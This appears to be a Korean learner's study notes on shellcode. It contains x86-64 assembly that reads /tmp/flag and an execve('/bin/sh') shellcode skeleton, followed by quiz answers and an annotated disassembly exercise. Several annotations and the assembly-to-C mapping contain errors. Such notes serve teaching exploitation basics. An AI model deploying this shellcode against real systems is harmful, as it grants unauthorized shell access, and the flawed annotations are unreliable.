셸코드
셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각다. 일반적으로 셸을 획득하기 위한 목적이다.
/tmp/flag를 읽는 셸코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
syscall
syscall | rax | arg0(rdi) | arg(rsi) | arg(rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
int fd = open(“/tmp/flag”, O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
read(fd, buf, 0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
write(1, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다.
syscall | rax | arg0(rdi) | arg1(rst) | arg2(rdx) |
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수다.
스켈레톤 코드를 이용한 execve셸코드 컴파일
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
퀴즈
Q1. stderr, stdin, stdout의 파일 지정자의 올바른 값을 고르시오.
A.stdin은 표준 입력으로 0, stdout은 표준 출력으로 1, stderr은 표준 오류로 2를 나타낸다.
A. rdi는 파일 실행 경로를 말한다. x/s 0x7fffffffc278의 실행결과가 /bin/sh\x00이니, 0x7fffffffc278이다.
Q3.(b)의 값은?
A. 0x3b이다. 리눅스시스템의 호출 번호다.
어셈블리어 문제
2.
0x0000000000001129 <+0>: endbr64
0x000000000000112d <+4>: push rbp //스택 생성
0x000000000000112e <+5>: mov rbp,rsp //rsp를 rbp에 복사
0x0000000000001131 <+8>: mov DWORD PTR [rbp-0xc],0xa //rbp-0xc에 0xa저장
0x0000000000001138 <+15>: mov DWORD PTR [rbp-0x8],0x18 //rbp-0x8에 0x18 저장
0x000000000000113f <+22>: mov BYTE PTR [rbp-0xd],0x61 // rbp-0xd에 0x61저장
0x0000000000001143 <+26>: mov eax,DWORD PTR [rbp-0x8] // eax에 rbp-0x8저장
0x0000000000001146 <+29>: mov DWORD PTR [rbp-0x4],eax // rbp-0x4에 eax값 저장
0x0000000000001149 <+32>: sub DWORD PTR [rbp-0xc],0x1 // rbp-0xc에 1을 뺀다
0x000000000000114d <+36>: mov eax,DWORD PTR [rbp-0xc] //rbp-0xc를 eax에 저장
0x0000000000001150 <+39>: imul eax,DWORD PTR [rbp-0x8] // rbp-0x8의 값에 4를 곱하여 eax에 저장
0x0000000000001154 <+43>: mov DWORD PTR [rbp-0x4],eax //rbp-0x4를 eax에 저장
0x0000000000001157 <+46>: mov eax,0x0 // eax에 0저장
0x000000000000115c <+51>: pop rbp //함수 호출 끝
0x000000000000115d <+52>: ret // 종료
3.
rbp-0xc | a |
rbp-0x8 | c |
rbp-0xd | e |
rbp-0x4 | b |
4.
코드를 최적화하기 위하여 불필요한 부분은 작성되지 않았다. 사용되지 않았기에 불필요하다고 판단, 컴파일 과정에서 제거된다.
5.
push rbp
mov rbp,rsp
push rbp mov rbp,rsp |
int main() |
mov DWORD PTR [rbp-0xc], 0xa | int a = 10; |
mov DWORD PTR [rbp-0x8], 0x18 | int b = 24; |
mov BYTE PTR [rbp-0xd], 0x61 | int c = 'a'; |
mov eax, DWORD PTR [rbp-0x8] mov DWORD PTR [rbp-0x4], eax |
int d = c; |
sub DWORD PTR [rbp-0xc], 0x1 | d = a*b; |
sub DWORD PTR [rbp-0xc], 0x1 | return 0; |
Bomb lab
disass mian을 하고 결과를 봅니다
결과를 얻어줍니다